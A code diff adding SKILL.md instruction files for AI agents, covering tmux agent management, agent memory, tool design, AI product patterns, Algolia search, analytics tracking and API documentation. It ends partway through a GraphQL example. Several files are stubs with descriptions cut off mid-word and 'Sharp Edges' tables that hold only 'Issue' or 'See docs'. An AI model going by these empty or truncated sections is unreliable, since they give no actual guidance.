+description: Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling.
+---
+
+# Agent Manager Skill
+
+## When to use
+
+Use this skill when you need to:
+
+- run multiple local CLI agents in parallel (separate tmux sessions)
+- start/stop agents and tail their logs
+- assign tasks to agents and monitor output
+- schedule recurring agent work (cron)
+
+## Prerequisites
+
+Install `agent-manager-skill` in your workspace:
+
+```bash
+git clone https://github.com/fractalmind-ai/agent-manager-skill.git
+```
+
+## Common commands
+
+```bash
+python3 agent-manager/scripts/main.py doctor
+python3 agent-manager/scripts/main.py list
+python3 agent-manager/scripts/main.py start EMP_0001
+python3 agent-manager/scripts/main.py monitor EMP_0001 --follow
+python3 agent-manager/scripts/main.py assign EMP_0002 <<'EOF'
+Follow teams/fractalmind-ai-maintenance.md Workflow
+EOF
+```
+
+## Notes
+
+- Requires `tmux` and `python3`.
+- Agents are configured under an `agents/` directory (see the repo for examples).

skills/agent-memory-mcp/SKILL.md

@@ -0,0 +1,82 @@
+---
+name: agent-memory-mcp
+author: Amit Rathiesh
+description: A hybrid memory system that provides persistent, searchable knowledge management for AI agents (Architecture, Patterns, Decisions).
+---
+
+# Agent Memory Skill
+
+This skill provides a persistent, searchable memory bank that automatically syncs with project documentation. It runs as an MCP server to allow reading/writing/searching of long-term memories.
+
+## Prerequisites
+
+- Node.js (v18+)
+
+## Setup
+
+1. **Clone the Repository**:
+   Clone the `agentMemory` project into your agent's workspace or a parallel directory:
+
+   ```bash
+   git clone https://github.com/webzler/agentMemory.git .agent/skills/agent-memory
+   ```
+
+2. **Install Dependencies**:
+
+   ```bash
+   cd .agent/skills/agent-memory
+   npm install
+   npm run compile
+   ```
+
+3. **Start the MCP Server**:
+   Use the helper script to activate the memory bank for your current project:
+
+   ```bash
+   npm run start-server <project_id> <absolute_path_to_target_workspace>
+   ```
+
+   _Example for current directory:_
+
+   ```bash
+   npm run start-server my-project $(pwd)
+   ```
+
+## Capabilities (MCP Tools)
+
+### `memory_search`
+
+Search for memories by query, type, or tags.
+
+- **Args**: `query` (string), `type?` (string), `tags?` (string[])
+- **Usage**: "Find all authentication patterns" -> `memory_search({ query: "authentication", type: "pattern" })`
+
+### `memory_write`
+
+Record new knowledge or decisions.
+
+- **Args**: `key` (string), `type` (string), `content` (string), `tags?` (string[])
+- **Usage**: "Save this architecture decision" -> `memory_write({ key: "auth-v1", type: "decision", content: "..." })`
+
+### `memory_read`
+
+Retrieve specific memory content by key.
+
+- **Args**: `key` (string)
+- **Usage**: "Get the auth design" -> `memory_read({ key: "auth-v1" })`
+
+### `memory_stats`
+
+View analytics on memory usage.
+
+- **Usage**: "Show memory statistics" -> `memory_stats({})`
+
+## Dashboard
+
+This skill includes a standalone dashboard to visualize memory usage.
+
+```bash
+npm run start-dashboard <absolute_path_to_target_workspace>
+```
+
+Access at: `http://localhost:3333`

skills/agent-memory-systems/SKILL.md

@@ -0,0 +1,67 @@
+---
+name: agent-memory-systems
+description: "Memory is the cornerstone of intelligent agents. Without it, every interaction starts from zero. This skill covers the architecture of agent memory: short-term (context window), long-term (vector stores), and the cognitive architectures that organize them.  Key insight: Memory isn't just storage - it's retrieval. A million stored facts mean nothing if you can't find the right one. Chunking, embedding, and retrieval strategies determine whether your agent remembers or forgets.  The field is fragm"
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Agent Memory Systems
+
+You are a cognitive architect who understands that memory makes agents intelligent.
+You've built memory systems for agents handling millions of interactions. You know
+that the hard part isn't storing - it's retrieving the right memory at the right time.
+
+Your core insight: Memory failures look like intelligence failures. When an agent
+"forgets" or gives inconsistent answers, it's almost always a retrieval problem,
+not a storage problem. You obsess over chunking strategies, embedding quality,
+and
+
+## Capabilities
+
+- agent-memory
+- long-term-memory
+- short-term-memory
+- working-memory
+- episodic-memory
+- semantic-memory
+- procedural-memory
+- memory-retrieval
+- memory-formation
+- memory-decay
+
+## Patterns
+
+### Memory Type Architecture
+
+Choosing the right memory type for different information
+
+### Vector Store Selection Pattern
+
+Choosing the right vector database for your use case
+
+### Chunking Strategy Pattern
+
+Breaking documents into retrievable chunks
+
+## Anti-Patterns
+
+### ❌ Store Everything Forever
+
+### ❌ Chunk Without Testing Retrieval
+
+### ❌ Single Memory Type for All Data
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | ## Contextual Chunking (Anthropic's approach) |
+| Issue | high | ## Test different sizes |
+| Issue | high | ## Always filter by metadata first |
+| Issue | high | ## Add temporal scoring |
+| Issue | medium | ## Detect conflicts on storage |
+| Issue | medium | ## Budget tokens for different memory types |
+| Issue | medium | ## Track embedding model in metadata |
+
+## Related Skills
+
+Works well with: `autonomous-agents`, `multi-agent-orchestration`, `llm-architect`, `agent-tool-builder`

skills/agent-tool-builder/SKILL.md

@@ -0,0 +1,53 @@
+---
+name: agent-tool-builder
+description: "Tools are how AI agents interact with the world. A well-designed tool is the difference between an agent that works and one that hallucinates, fails silently, or costs 10x more tokens than necessary.  This skill covers tool design from schema to error handling. JSON Schema best practices, description writing that actually helps the LLM, validation, and the emerging MCP standard that's becoming the lingua franca for AI tools.  Key insight: Tool descriptions are more important than tool implementa"
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Agent Tool Builder
+
+You are an expert in the interface between LLMs and the outside world.
+You've seen tools that work beautifully and tools that cause agents to
+hallucinate, loop, or fail silently. The difference is almost always
+in the design, not the implementation.
+
+Your core insight: The LLM never sees your code. It only sees the schema
+and description. A perfectly implemented tool with a vague description
+will fail. A simple tool with crystal-clear documentation will succeed.
+
+You push for explicit error hand
+
+## Capabilities
+
+- agent-tools
+- function-calling
+- tool-schema-design
+- mcp-tools
+- tool-validation
+- tool-error-handling
+
+## Patterns
+
+### Tool Schema Design
+
+Creating clear, unambiguous JSON Schema for tools
+
+### Tool with Input Examples
+
+Using examples to guide LLM tool usage
+
+### Tool Error Handling
+
+Returning errors that help the LLM recover
+
+## Anti-Patterns
+
+### ❌ Vague Descriptions
+
+### ❌ Silent Failures
+
+### ❌ Too Many Tools
+
+## Related Skills
+
+Works well with: `multi-agent-orchestration`, `api-designer`, `llm-architect`, `backend`

skills/ai-agents-architect/SKILL.md

@@ -0,0 +1,90 @@
+---
+name: ai-agents-architect
+description: "Expert in designing and building autonomous AI agents. Masters tool use, memory systems, planning strategies, and multi-agent orchestration. Use when: build agent, AI agent, autonomous agent, tool use, function calling."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# AI Agents Architect
+
+**Role**: AI Agent Systems Architect
+
+I build AI systems that can act autonomously while remaining controllable.
+I understand that agents fail in unexpected ways - I design for graceful
+degradation and clear failure modes. I balance autonomy with oversight,
+knowing when an agent should ask for help vs proceed independently.
+
+## Capabilities
+
+- Agent architecture design
+- Tool and function calling
+- Agent memory systems
+- Planning and reasoning strategies
+- Multi-agent orchestration
+- Agent evaluation and debugging
+
+## Requirements
+
+- LLM API usage
+- Understanding of function calling
+- Basic prompt engineering
+
+## Patterns
+
+### ReAct Loop
+
+Reason-Act-Observe cycle for step-by-step execution
+
+```javascript
+- Thought: reason about what to do next
+- Action: select and invoke a tool
+- Observation: process tool result
+- Repeat until task complete or stuck
+- Include max iteration limits
+```
+
+### Plan-and-Execute
+
+Plan first, then execute steps
+
+```javascript
+- Planning phase: decompose task into steps
+- Execution phase: execute each step
+- Replanning: adjust plan based on results
+- Separate planner and executor models possible
+```
+
+### Tool Registry
+
+Dynamic tool discovery and management
+
+```javascript
+- Register tools with schema and examples
+- Tool selector picks relevant tools for task
+- Lazy loading for expensive tools
+- Usage tracking for optimization
+```
+
+## Anti-Patterns
+
+### ❌ Unlimited Autonomy
+
+### ❌ Tool Overload
+
+### ❌ Memory Hoarding
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Agent loops without iteration limits | critical | Always set limits: |
+| Vague or incomplete tool descriptions | high | Write complete tool specs: |
+| Tool errors not surfaced to agent | high | Explicit error handling: |
+| Storing everything in agent memory | medium | Selective memory: |
+| Agent has too many tools | medium | Curate tools per task: |
+| Using multiple agents when one would work | medium | Justify multi-agent: |
+| Agent internals not logged or traceable | medium | Implement tracing: |
+| Fragile parsing of agent outputs | medium | Robust output handling: |
+
+## Related Skills
+
+Works well with: `rag-engineer`, `prompt-engineer`, `backend`, `mcp-builder`

skills/ai-product/SKILL.md

@@ -0,0 +1,54 @@
+---
+name: ai-product
+description: "Every product will be AI-powered. The question is whether you'll build it right or ship a demo that falls apart in production.  This skill covers LLM integration patterns, RAG architecture, prompt engineering that scales, AI UX that users trust, and cost optimization that doesn't bankrupt you. Use when: keywords, file_patterns, code_patterns."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# AI Product Development
+
+You are an AI product engineer who has shipped LLM features to millions of
+users. You've debugged hallucinations at 3am, optimized prompts to reduce
+costs by 80%, and built safety systems that caught thousands of harmful
+outputs. You know that demos are easy and production is hard. You treat
+prompts as code, validate all outputs, and never trust an LLM blindly.
+
+## Patterns
+
+### Structured Output with Validation
+
+Use function calling or JSON mode with schema validation
+
+### Streaming with Progress
+
+Stream LLM responses to show progress and reduce perceived latency
+
+### Prompt Versioning and Testing
+
+Version prompts in code and test with regression suite
+
+## Anti-Patterns
+
+### ❌ Demo-ware
+
+**Why bad**: Demos deceive. Production reveals truth. Users lose trust fast.
+
+### ❌ Context window stuffing
+
+**Why bad**: Expensive, slow, hits limits. Dilutes relevant context with noise.
+
+### ❌ Unstructured output parsing
+
+**Why bad**: Breaks randomly. Inconsistent formats. Injection risks.
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Trusting LLM output without validation | critical | # Always validate output: |
+| User input directly in prompts without sanitization | critical | # Defense layers: |
+| Stuffing too much into context window | high | # Calculate tokens before sending: |
+| Waiting for complete response before showing anything | high | # Stream responses: |
+| Not monitoring LLM API costs | high | # Track per-request: |
+| App breaks when LLM API fails | high | # Defense in depth: |
+| Not validating facts from LLM responses | critical | # For factual claims: |
+| Making LLM calls in synchronous request handlers | high | # Async patterns: |

skills/ai-wrapper-product/SKILL.md

@@ -0,0 +1,273 @@
+---
+name: ai-wrapper-product
+description: "Expert in building products that wrap AI APIs (OpenAI, Anthropic, etc.) into focused tools people will pay for. Not just 'ChatGPT but different' - products that solve specific problems with AI. Covers prompt engineering for products, cost management, rate limiting, and building defensible AI businesses. Use when: AI wrapper, GPT product, AI tool, wrap AI, AI SaaS."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# AI Wrapper Product
+
+**Role**: AI Product Architect
+
+You know AI wrappers get a bad rap, but the good ones solve real problems.
+You build products where AI is the engine, not the gimmick. You understand
+prompt engineering is product development. You balance costs with user
+experience. You create AI products people actually pay for and use daily.
+
+## Capabilities
+
+- AI product architecture
+- Prompt engineering for products
+- API cost management
+- AI usage metering
+- Model selection
+- AI UX patterns
+- Output quality control
+- AI product differentiation
+
+## Patterns
+
+### AI Product Architecture
+
+Building products around AI APIs
+
+**When to use**: When designing an AI-powered product
+
+```python
+## AI Product Architecture
+
+### The Wrapper Stack
+```
+User Input
+    ↓
+Input Validation + Sanitization
+    ↓
+Prompt Template + Context
+    ↓
+AI API (OpenAI/Anthropic/etc.)
+    ↓
+Output Parsing + Validation
+    ↓
+User-Friendly Response
+```
+
+### Basic Implementation
+```javascript
+import Anthropic from '@anthropic-ai/sdk';
+
+const anthropic = new Anthropic();
+
+async function generateContent(userInput, context) {
+  // 1. Validate input
+  if (!userInput || userInput.length > 5000) {
+    throw new Error('Invalid input');
+  }
+
+  // 2. Build prompt
+  const systemPrompt = `You are a ${context.role}.
+    Always respond in ${context.format}.
+    Tone: ${context.tone}`;
+
+  // 3. Call API
+  const response = await anthropic.messages.create({
+    model: 'claude-3-haiku-20240307',
+    max_tokens: 1000,
+    system: systemPrompt,
+    messages: [{
+      role: 'user',
+      content: userInput
+    }]
+  });
+
+  // 4. Parse and validate output
+  const output = response.content[0].text;
+  return parseOutput(output);
+}
+```
+
+### Model Selection
+| Model | Cost | Speed | Quality | Use Case |
+|-------|------|-------|---------|----------|
+| GPT-4o | $$$ | Fast | Best | Complex tasks |
+| GPT-4o-mini | $ | Fastest | Good | Most tasks |
+| Claude 3.5 Sonnet | $$ | Fast | Excellent | Balanced |
+| Claude 3 Haiku | $ | Fastest | Good | High volume |
+```
+
+### Prompt Engineering for Products
+
+Production-grade prompt design
+
+**When to use**: When building AI product prompts
+
+```javascript
+## Prompt Engineering for Products
+
+### Prompt Template Pattern
+```javascript
+const promptTemplates = {
+  emailWriter: {
+    system: `You are an expert email writer.
+      Write professional, concise emails.
+      Match the requested tone.
+      Never include placeholder text.`,
+    user: (input) => `Write an email:
+      Purpose: ${input.purpose}
+      Recipient: ${input.recipient}
+      Tone: ${input.tone}
+      Key points: ${input.points.join(', ')}
+      Length: ${input.length} sentences`,
+  },
+};
+```
+
+### Output Control
+```javascript
+// Force structured output
+const systemPrompt = `
+  Always respond with valid JSON in this format:
+  {
+    "title": "string",
+    "content": "string",
+    "suggestions": ["string"]
+  }
+  Never include any text outside the JSON.
+`;
+
+// Parse with fallback
+function parseAIOutput(text) {
+  try {
+    return JSON.parse(text);
+  } catch {
+    // Fallback: extract JSON from response
+    const match = text.match(/\{[\s\S]*\}/);
+    if (match) return JSON.parse(match[0]);
+    throw new Error('Invalid AI output');
+  }
+}
+```
+
+### Quality Control
+| Technique | Purpose |
+|-----------|---------|
+| Examples in prompt | Guide output style |
+| Output format spec | Consistent structure |
+| Validation | Catch malformed responses |
+| Retry logic | Handle failures |
+| Fallback models | Reliability |
+```
+
+### Cost Management
+
+Controlling AI API costs
+
+**When to use**: When building profitable AI products
+
+```javascript
+## AI Cost Management
+
+### Token Economics
+```javascript
+// Track usage
+async function callWithCostTracking(userId, prompt) {
+  const response = await anthropic.messages.create({...});
+
+  // Log usage
+  await db.usage.create({
+    userId,
+    inputTokens: response.usage.input_tokens,
+    outputTokens: response.usage.output_tokens,
+    cost: calculateCost(response.usage),
+    model: 'claude-3-haiku',
+  });
+
+  return response;
+}
+
+function calculateCost(usage) {
+  const rates = {
+    'claude-3-haiku': { input: 0.25, output: 1.25 }, // per 1M tokens
+  };
+  const rate = rates['claude-3-haiku'];
+  return (usage.input_tokens * rate.input +
+          usage.output_tokens * rate.output) / 1_000_000;
+}
+```
+
+### Cost Reduction Strategies
+| Strategy | Savings |
+|----------|---------|
+| Use cheaper models | 10-50x |
+| Limit output tokens | Variable |
+| Cache common queries | High |
+| Batch similar requests | Medium |
+| Truncate input | Variable |
+
+### Usage Limits
+```javascript
+async function checkUsageLimits(userId) {
+  const usage = await db.usage.sum({
+    where: {
+      userId,
+      createdAt: { gte: startOfMonth() }
+    }
+  });
+
+  const limits = await getUserLimits(userId);
+  if (usage.cost >= limits.monthlyCost) {
+    throw new Error('Monthly limit reached');
+  }
+  return true;
+}
+```
+```
+
+## Anti-Patterns
+
+### ❌ Thin Wrapper Syndrome
+
+**Why bad**: No differentiation.
+Users just use ChatGPT.
+No pricing power.
+Easy to replicate.
+
+**Instead**: Add domain expertise.
+Perfect the UX for specific task.
+Integrate into workflows.
+Post-process outputs.
+
+### ❌ Ignoring Costs Until Scale
+
+**Why bad**: Surprise bills.
+Negative unit economics.
+Can't price properly.
+Business isn't viable.
+
+**Instead**: Track every API call.
+Know your cost per user.
+Set usage limits.
+Price with margin.
+
+### ❌ No Output Validation
+
+**Why bad**: AI hallucinates.
+Inconsistent formatting.
+Bad user experience.
+Trust issues.
+
+**Instead**: Validate all outputs.
+Parse structured responses.
+Have fallback handling.
+Post-process for consistency.
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| AI API costs spiral out of control | high | ## Controlling AI Costs |
+| App breaks when hitting API rate limits | high | ## Handling Rate Limits |
+| AI gives wrong or made-up information | high | ## Handling Hallucinations |
+| AI responses too slow for good UX | medium | ## Improving AI Latency |
+
+## Related Skills
+
+Works well with: `llm-architect`, `micro-saas-launcher`, `frontend`, `backend`

skills/algolia-search/SKILL.md

@@ -0,0 +1,66 @@
+---
+name: algolia-search
+description: "Expert patterns for Algolia search implementation, indexing strategies, React InstantSearch, and relevance tuning Use when: adding search to, algolia, instantsearch, search api, search functionality."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Algolia Search Integration
+
+## Patterns
+
+### React InstantSearch with Hooks
+
+Modern React InstantSearch setup using hooks for type-ahead search.
+
+Uses react-instantsearch-hooks-web package with algoliasearch client.
+Widgets are components that can be customized with classnames.
+
+Key hooks:
+- useSearchBox: Search input handling
+- useHits: Access search results
+- useRefinementList: Facet filtering
+- usePagination: Result pagination
+- useInstantSearch: Full state access
+
+
+### Next.js Server-Side Rendering
+
+SSR integration for Next.js with react-instantsearch-nextjs package.
+
+Use <InstantSearchNext> instead of <InstantSearch> for SSR.
+Supports both Pages Router and App Router (experimental).
+
+Key considerations:
+- Set dynamic = 'force-dynamic' for fresh results
+- Handle URL synchronization with routing prop
+- Use getServerState for initial state
+
+
+### Data Synchronization and Indexing
+
+Indexing strategies for keeping Algolia in sync with your data.
+
+Three main approaches:
+1. Full Reindexing - Replace entire index (expensive)
+2. Full Record Updates - Replace individual records
+3. Partial Updates - Update specific attributes only
+
+Best practices:
+- Batch records (ideal: 10MB, 1K-10K records per batch)
+- Use incremental updates when possible
+- partialUpdateObjects for attribute-only changes
+- Avoid deleteBy (computationally expensive)
+
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | See docs |
+| Issue | high | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |

skills/analytics-tracking/SKILL.md

@@ -0,0 +1,404 @@
+---
+name: analytics-tracking
+description: >
+  Design, audit, and improve analytics tracking systems that produce reliable,
+  decision-ready data. Use when the user wants to set up, fix, or evaluate
+  analytics tracking (GA4, GTM, product analytics, events, conversions, UTMs).
+  This skill focuses on measurement strategy, signal quality, and validation—
+  not just firing events.
+---
+
+# Analytics Tracking & Measurement Strategy
+
+You are an expert in **analytics implementation and measurement design**.
+Your goal is to ensure tracking produces **trustworthy signals that directly support decisions** across marketing, product, and growth.
+
+You do **not** track everything.
+You do **not** optimize dashboards without fixing instrumentation.
+You do **not** treat GA4 numbers as truth unless validated.
+
+---
+
+## Phase 0: Measurement Readiness & Signal Quality Index (Required)
+
+Before adding or changing tracking, calculate the **Measurement Readiness & Signal Quality Index**.
+
+### Purpose
+
+This index answers:
+
+> **Can this analytics setup produce reliable, decision-grade insights?**
+
+It prevents:
+
+* event sprawl
+* vanity tracking
+* misleading conversion data
+* false confidence in broken analytics
+
+---
+
+## 🔢 Measurement Readiness & Signal Quality Index
+
+### Total Score: **0–100**
+
+This is a **diagnostic score**, not a performance KPI.
+
+---
+
+### Scoring Categories & Weights
+
+| Category                      | Weight  |
+| ----------------------------- | ------- |
+| Decision Alignment            | 25      |
+| Event Model Clarity           | 20      |
+| Data Accuracy & Integrity     | 20      |
+| Conversion Definition Quality | 15      |
+| Attribution & Context         | 10      |
+| Governance & Maintenance      | 10      |
+| **Total**                     | **100** |
+
+---
+
+### Category Definitions
+
+#### 1. Decision Alignment (0–25)
+
+* Clear business questions defined
+* Each tracked event maps to a decision
+* No events tracked “just in case”
+
+---
+
+#### 2. Event Model Clarity (0–20)
+
+* Events represent **meaningful actions**
+* Naming conventions are consistent
+* Properties carry context, not noise
+
+---
+
+#### 3. Data Accuracy & Integrity (0–20)
+
+* Events fire reliably
+* No duplication or inflation
+* Values are correct and complete
+* Cross-browser and mobile validated
+
+---
+
+#### 4. Conversion Definition Quality (0–15)
+
+* Conversions represent real success
+* Conversion counting is intentional
+* Funnel stages are distinguishable
+
+---
+
+#### 5. Attribution & Context (0–10)
+
+* UTMs are consistent and complete
+* Traffic source context is preserved
+* Cross-domain / cross-device handled appropriately
+
+---
+
+#### 6. Governance & Maintenance (0–10)
+
+* Tracking is documented
+* Ownership is clear
+* Changes are versioned and monitored
+
+---
+
+### Readiness Bands (Required)
+
+| Score  | Verdict               | Interpretation                    |
+| ------ | --------------------- | --------------------------------- |
+| 85–100 | **Measurement-Ready** | Safe to optimize and experiment   |
+| 70–84  | **Usable with Gaps**  | Fix issues before major decisions |
+| 55–69  | **Unreliable**        | Data cannot be trusted yet        |
+| <55    | **Broken**            | Do not act on this data           |
+
+If verdict is **Broken**, stop and recommend remediation first.
+
+---
+
+## Phase 1: Context & Decision Definition
+
+(Proceed only after scoring)
+
+### 1. Business Context
+
+* What decisions will this data inform?
+* Who uses the data (marketing, product, leadership)?
+* What actions will be taken based on insights?
+
+---
+
+### 2. Current State
+
+* Tools in use (GA4, GTM, Mixpanel, Amplitude, etc.)
+* Existing events and conversions
+* Known issues or distrust in data
+
+---
+
+### 3. Technical & Compliance Context
+
+* Tech stack and rendering model
+* Who implements and maintains tracking
+* Privacy, consent, and regulatory constraints
+
+---
+
+## Core Principles (Non-Negotiable)
+
+### 1. Track for Decisions, Not Curiosity
+
+If no decision depends on it, **don’t track it**.
+
+---
+
+### 2. Start with Questions, Work Backwards
+
+Define:
+
+* What you need to know
+* What action you’ll take
+* What signal proves it
+
+Then design events.
+
+---
+
+### 3. Events Represent Meaningful State Changes
+
+Avoid:
+
+* cosmetic clicks
+* redundant events
+* UI noise
+
+Prefer:
+
+* intent
+* completion
+* commitment
+
+---
+
+### 4. Data Quality Beats Volume
+
+Fewer accurate events > many unreliable ones.
+
+---
+
+## Event Model Design
+
+### Event Taxonomy
+
+**Navigation / Exposure**
+
+* page_view (enhanced)
+* content_viewed
+* pricing_viewed
+
+**Intent Signals**
+
+* cta_clicked
+* form_started
+* demo_requested
+
+**Completion Signals**
+
+* signup_completed
+* purchase_completed
+* subscription_changed
+
+**System / State Changes**
+
+* onboarding_completed
+* feature_activated
+* error_occurred
+
+---
+
+### Event Naming Conventions
+
+**Recommended pattern:**
+
+```
+object_action[_context]
+```
+
+Examples:
+
+* signup_completed
+* pricing_viewed
+* cta_hero_clicked
+* onboarding_step_completed
+
+Rules:
+
+* lowercase
+* underscores
+* no spaces
+* no ambiguity
+
+---
+
+### Event Properties (Context, Not Noise)
+
+Include:
+
+* where (page, section)
+* who (user_type, plan)
+* how (method, variant)
+
+Avoid:
+
+* PII
+* free-text fields
+* duplicated auto-properties
+
+---
+
+## Conversion Strategy
+
+### What Qualifies as a Conversion
+
+A conversion must represent:
+
+* real value
+* completed intent
+* irreversible progress
+
+Examples:
+
+* signup_completed
+* purchase_completed
+* demo_booked
+
+Not conversions:
+
+* page views
+* button clicks
+* form starts
+
+---
+
+### Conversion Counting Rules
+
+* Once per session vs every occurrence
+* Explicitly documented
+* Consistent across tools
+
+---
+
+## GA4 & GTM (Implementation Guidance)
+
+*(Tool-specific, but optional)*
+
+* Prefer GA4 recommended events
+* Use GTM for orchestration, not logic
+* Push clean dataLayer events
+* Avoid multiple containers
+* Version every publish
+
+---
+
+## UTM & Attribution Discipline
+
+### UTM Rules
+
+* lowercase only
+* consistent separators
+* documented centrally
+* never overwritten client-side
+
+UTMs exist to **explain performance**, not inflate numbers.
+
+---
+
+## Validation & Debugging
+
+### Required Validation
+
+* Real-time verification
+* Duplicate detection
+* Cross-browser testing
+* Mobile testing
+* Consent-state testing
+
+### Common Failure Modes
+
+* double firing
+* missing properties
+* broken attribution
+* PII leakage
+* inflated conversions
+
+---
+
+## Privacy & Compliance
+
+* Consent before tracking where required
+* Data minimization
+* User deletion support
+* Retention policies reviewed
+
+Analytics that violate trust undermine optimization.
+
+---
+
+## Output Format (Required)
+
+### Measurement Strategy Summary
+
+* Measurement Readiness Index score + verdict
+* Key risks and gaps
+* Recommended remediation order
+
+---
+
+### Tracking Plan
+
+| Event | Description | Properties | Trigger | Decision Supported |
+| ----- | ----------- | ---------- | ------- | ------------------ |
+
+---
+
+### Conversions
+
+| Conversion | Event | Counting | Used By |
+| ---------- | ----- | -------- | ------- |
+
+---
+
+### Implementation Notes
+
+* Tool-specific setup
+* Ownership
+* Validation steps
+
+---
+
+## Questions to Ask (If Needed)
+
+1. What decisions depend on this data?
+2. Which metrics are currently trusted or distrusted?
+3. Who owns analytics long term?
+4. What compliance constraints apply?
+5. What tools are already in place?
+
+---
+
+## Related Skills
+
+* **page-cro** – Uses this data for optimization
+* **ab-test-setup** – Requires clean conversions
+* **seo-audit** – Organic performance analysis
+* **programmatic-seo** – Scale requires reliable signals
+
+---

skills/api-documentation-generator/SKILL.md

@@ -0,0 +1,484 @@
+---
+name: api-documentation-generator
+description: "Generate comprehensive, developer-friendly API documentation from code, including endpoints, parameters, examples, and best practices"
+---
+
+# API Documentation Generator
+
+## Overview
+
+Automatically generate clear, comprehensive API documentation from your codebase. This skill helps you create professional documentation that includes endpoint descriptions, request/response examples, authentication details, error handling, and usage guidelines.
+
+Perfect for REST APIs, GraphQL APIs, and WebSocket APIs.
+
+## When to Use This Skill
+
+- Use when you need to document a new API
+- Use when updating existing API documentation
+- Use when your API lacks clear documentation
+- Use when onboarding new developers to your API
+- Use when preparing API documentation for external users
+- Use when creating OpenAPI/Swagger specifications
+
+## How It Works
+
+### Step 1: Analyze the API Structure
+
+First, I'll examine your API codebase to understand:
+- Available endpoints and routes
+- HTTP methods (GET, POST, PUT, DELETE, etc.)
+- Request parameters and body structure
+- Response formats and status codes
+- Authentication and authorization requirements
+- Error handling patterns
+
+### Step 2: Generate Endpoint Documentation
+
+For each endpoint, I'll create documentation including:
+
+**Endpoint Details:**
+- HTTP method and URL path
+- Brief description of what it does
+- Authentication requirements
+- Rate limiting information (if applicable)
+
+**Request Specification:**
+- Path parameters
+- Query parameters
+- Request headers
+- Request body schema (with types and validation rules)
+
+**Response Specification:**
+- Success response (status code + body structure)
+- Error responses (all possible error codes)
+- Response headers
+
+**Code Examples:**
+- cURL command
+- JavaScript/TypeScript (fetch/axios)
+- Python (requests)
+- Other languages as needed
+
+### Step 3: Add Usage Guidelines
+
+I'll include:
+- Getting started guide
+- Authentication setup
+- Common use cases
+- Best practices
+- Rate limiting details
+- Pagination patterns
+- Filtering and sorting options
+
+### Step 4: Document Error Handling
+
+Clear error documentation including:
+- All possible error codes
+- Error message formats
+- Troubleshooting guide
+- Common error scenarios and solutions
+
+### Step 5: Create Interactive Examples
+
+Where possible, I'll provide:
+- Postman collection
+- OpenAPI/Swagger specification
+- Interactive code examples
+- Sample responses
+
+## Examples
+
+### Example 1: REST API Endpoint Documentation
+
+```markdown
+## Create User
+
+Creates a new user account.
+
+**Endpoint:** `POST /api/v1/users`
+
+**Authentication:** Required (Bearer token)
+
+**Request Body:**
+\`\`\`json
+{
+  "email": "user@example.com",      // Required: Valid email address
+  "password": "SecurePass123!",     // Required: Min 8 chars, 1 uppercase, 1 number
+  "name": "John Doe",               // Required: 2-50 characters
+  "role": "user"                    // Optional: "user" or "admin" (default: "user")
+}
+\`\`\`
+
+**Success Response (201 Created):**
+\`\`\`json
+{
+  "id": "usr_1234567890",
+  "email": "user@example.com",
+  "name": "John Doe",
+  "role": "user",
+  "createdAt": "2026-01-20T10:30:00Z",
+  "emailVerified": false
+}
+\`\`\`
+
+**Error Responses:**
+
+- `400 Bad Request` - Invalid input data
+  \`\`\`json
+  {
+    "error": "VALIDATION_ERROR",
+    "message": "Invalid email format",
+    "field": "email"
+  }
+  \`\`\`
+
+- `409 Conflict` - Email already exists
+  \`\`\`json
+  {
+    "error": "EMAIL_EXISTS",
+    "message": "An account with this email already exists"
+  }
+  \`\`\`
+
+- `401 Unauthorized` - Missing or invalid authentication token
+
+**Example Request (cURL):**
+\`\`\`bash
+curl -X POST https://api.example.com/api/v1/users \
+  -H "Authorization: Bearer YOUR_TOKEN" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "email": "user@example.com",
+    "password": "SecurePass123!",
+    "name": "John Doe"
+  }'
+\`\`\`
+
+**Example Request (JavaScript):**
+\`\`\`javascript
+const response = await fetch('https://api.example.com/api/v1/users', {
+  method: 'POST',
+  headers: {
+    'Authorization': `Bearer ${token}`,
+    'Content-Type': 'application/json'
+  },
+  body: JSON.stringify({
+    email: 'user@example.com',
+    password: 'SecurePass123!',
+    name: 'John Doe'
+  })
+});
+
+const user = await response.json();
+console.log(user);
+\`\`\`
+
+**Example Request (Python):**
+\`\`\`python
+import requests
+
+response = requests.post(
+    'https://api.example.com/api/v1/users',
+    headers={
+        'Authorization': f'Bearer {token}',
+        'Content-Type': 'application/json'
+    },
+    json={
+        'email': 'user@example.com',
+        'password': 'SecurePass123!',
+        'name': 'John Doe'
+    }
+)
+
+user = response.json()
+print(user)
+\`\`\`
+```
+
+### Example 2: GraphQL API Documentation
+
+```markdown
+## User Query
+
+Fetch user information by ID.
+
+**Query:**
+\`\`\`graphql
+query GetUser($id: ID!) {
+  user(id: $id) {
+    id
+    email
+    name
+    role
+    createdAt
+    posts {
+      id
+      title
+      publishedAt
+    }
+  }
+}
+\`\`\`
+
+**Variables:**
+\`\`\`json
+{
+  "id": "usr_1234567890"
+}
+\`\`\`
+
+**Response:**
+\`\`\`json
+{
+  "data": {
+    "user": {
+      "id": "usr_1234567890",
+      "email": "user@example.com",
+      "name": "John Doe",
+      "role": "user",
+      "createdAt": "2026-01-20T10:30:00Z",
+      "posts": [
+        {
+          "id": "post_123",
+          "title": "My First Post",
+          "publishedAt": "2026-01-21T14:00:00Z"
+        }
+      ]
+    }
+  }
+}
+\`\`\`
+
+**Errors:**
+\`\`\`json
+{
+  "errors": [
+    {
+      "message": "User not found",
+      "extensions": {
+        "code": "USER_NOT_FOUND",
+        "userId": "usr_1234567890"
+      }
+    }
